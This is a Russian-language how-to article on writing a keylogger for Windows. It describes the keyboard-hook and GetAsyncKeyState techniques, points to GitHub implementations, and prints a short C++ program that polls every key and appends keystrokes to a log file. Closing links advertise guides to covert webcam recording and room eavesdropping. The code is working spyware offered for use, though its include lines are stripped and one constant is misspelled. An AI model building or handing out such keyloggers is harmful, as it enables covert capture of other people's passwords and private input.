Сегодня мы снова затронем тему написания кейлоггера для Windows, но и в очередной раз описывать построчно принцип работы кода на том же GetAsyncKeyState() мы не будем. Я просто дам ссылки на наиболее удачные реализации и наиболее интересные статьи на эту тему.
Еще по теме: Как написать кейлоггер на Go
Как написать кейлоггер для Windows
В начале рекомендую прочитать статью «Как написать кейлоггер на C#». Кроме этого, стоит заглянуть сюда. В статье описан способ, создания кейлоггера, который корректно логирует любые клавиши на любой клавиатуре (привет проблемам с кодировкой!).
А еще в Windows существует функция SetWindowsHookEx(), с ее помощью можно установить хук. Хук позволяет перенаправить поток управления целевой программы в наш код. Если мы поставим хук на WH_KEYBOARD, то сможем отслеживать все нажатия клавиш в системе.
Вот код подобного кейлоггера на GitHub. У программы простенький GUI. Нажимаем на кнопку, и хук устанавливается, после чего через Message Box вас будут оповещать о нажатии на клавишу.
Обратите внимание, что Message Box будет возникать дважды, даже когда клавиша была нажата единожды. Первый раз — при опускании клавиши (WM_KEYDOWN), а затем при поднятии (WN_KEYUP).
Альтернативный вариант — использовать GetAsyncKeyState(). Этот механизм пытается найти нажатую в текущий момент клавишу. Если функция определила, что клавиша нажата, кейлоггер запротоколирует это.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
#include #include int main() { std::ofstream file; file.open("log.txt", std::fstream::app); while (true) { Sleep(10); // Пауза, чтобы снизить нагрузку на процессор for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) == -32767) { // Если клавиша была нажата HWND foreground = GetForegroundWindow(); if (foreground) { file << char(key); // Запись нажатой клавиши в файл file.flush(); } } } } file.close(); return 0; } |
На GitHub есть и полноценная реализация.
Как вариант, можно логировать нажатые клавиши через ETW, но это сработает только с виртуальной (экранной) клавиатурой. Тем не менее такой PoC тоже есть.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Скрытая запись с веб-камеры на C#
- Создание программы для прослушки помещения на C#
- Получение информации о подключенных устройствах на C#